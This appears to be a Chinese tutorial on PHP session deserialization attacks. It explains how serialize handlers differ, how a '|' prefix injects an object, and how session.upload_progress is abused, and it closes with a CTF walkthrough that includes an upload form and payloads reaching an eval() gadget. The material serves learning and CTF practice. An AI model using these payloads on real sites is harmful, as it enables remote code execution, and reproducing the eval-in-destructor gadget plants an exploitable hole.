前言
PHP中的Session保存
php.ini有以下配置项用于控制session有关的设置
session.save_path=”D:xampp\tmp”表明所有的session文件都是存储在xampp/tmp下
session.save_handler=files表明session是以文件的方式来进行存储的
session.auto_start=0表明默认不启动session
session.serialize handler=php表明session的默认序列话引擎使用的是php序列话引擎
php_seralize序列化引擎
session.php
<?php ini_set("session.serialize_handler","php_seralize"); session_start(); $_SESSION["name"] = $_GET["a"]; ?>
我本地的session存储路径是在这里D:\phpstudy\PHPTutorial\tmp\tmp
传递http://127.0.0.1/session.php?a=purplet,再查看发现就是一个普通的序列化结果。
php序列化引擎
session.php
<?php ini_set("session.serialize_handler","php"); session_start(); $_SESSION["name"] = $_GET["a"]; ?>
传递http://127.0.0.1/session.php?a=purplet,查看发现序列化的内容与上述不同了.
php_binary序列化引擎
session.php
<?php ini_set("session.serialize_handler","php_binary"); session_start(); $_SESSION["name"] = $_GET["a"]; ?>
传递http://127.0.0.1/session.php?a=purplet,序列化内容如下:
小结
php:
name|s:7:”purplet”;
存储方式是,键名+竖线+经过serialize()函数序列处理的值
php binary
names:7:”purplet”;
存储方式是,键名的长度对应的ASClI字符+键名+经过serialize()函数序列化处理的值
php_serialize(php>5.5.4)
a:1:{s:4:”name”;s:7:”purplet”}
存储方式是,经过serialize)函数序列化处理的值
引擎不同导致的问题
test1.php
<?php ini_set("session.serialize_handler","php_binary"); session_start(); $_SESSION["spoock"] = $_GET["a"]; ?>
test2.php
<?php ini_set('session.serialize_handler','php'); session_start(); cLass lemon{ var $hi; function construct(){ $this->hi='phpinfo();'; } function destruct(){ eval($this->hi); } } ?>
exp.php
<?php cLass lemon{ var $hi; function __construct(){ $this->hi='phpinfo();'; } function __destruct(){ eval($this->hi); } } $a = new lemon(); $a -> hi ="echo 'HelloWorld';"; echo serialize($a); ?>
结果为:O:5:”lemon”:1:{s:2:”hi”;s:18:”echo ‘HelloWorld’;”;}
那么我们想要让访问test2.php时输出HelloWorld该怎么办呢,首先不同引擎对内容序列化的方法我们知道了,而反序列化的时候也同上面小结所写一样。
所以我们在test1.php处传递?a=|O:5:”lemon”:1:{s:2:”hi”;s:18:”echo ‘HelloWorld’;”;}
php_serialize引擎存储,php引擎提取,执行反序列化方法:在php引擎构造的exp出的Payload前多加一个| 即可
从生成的序列化结果中我们也能看除,|前的会被当做键名,而之后的则就会被反序列化回去,所以访问test2.php时即可看到输出了HelloWord
但是这种利用方式很少见,因为程序员的编写也很少会将序列化引擎写成两种。那么还有没有更好利用的session反序列化方法呢?
Sessioin反序列化的特殊利用
当PHP中session.upload_progress.enabled打开时,php会记录上传文件的进度,在上传时会将其信息保存在$_SESSION中。
php.ini中这两项的前面;去掉
session.upload_progress.enabled = On(是否启用上传进度报告)
session.upload_progress.cleanup = Off(是否上传完之后删除session文件)
上传文件进度的报告就会以写入到session文件中,所以我们可以设置一个与session.upload_progress.name同名的变量(默认名为PHP_SESSION_UPLOAD_PROGRESS),PHP检测到这种同名请求会在$_SESSION中添加一条数据。我们就可以控制这个数据内容为我们的恶意payload。
例题http://web.jarvisoj.com:32784/
<?php //A webshell is wait for you ini_set('session.serialize_handler', 'php'); session_start(); class OowoO { public $mdzz; function __construct() { $this->mdzz = 'phpinfo();'; } function __destruct() { eval($this->mdzz); } } if(isset($_GET['phpinfo'])) { $m = new OowoO(); } else { highlight_string(file_get_contents('index.php')); } ?>
传递?phpinfo,在输出的phpinfo信息中发现这两个参数符合上面所说的要求
构造一个上传表单
<html> <body> <form action="http://web.jarvisoj.com:32784/index.php" method="post" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123"/> <input type="file" name="file" /> <br /> <input type="submit" name="submit" value="Submit" /> </form> </body> </html>
构造反序列化代码:
<?php class OowoO { public $mdzz; } $a = new OowoO(); $a->mdzz="print_r(scandir(__dir__));"; echo serialize($a); ?>
结果:O:5:”OowoO”:1:{s:4:”mdzz”;s:26:”print_r(scandir(__dir__));”;}
然后用构造的表单上传任意文件抓包,修改序列化内容满足php引擎的处理方式,在前面加个|
成功列出当前目录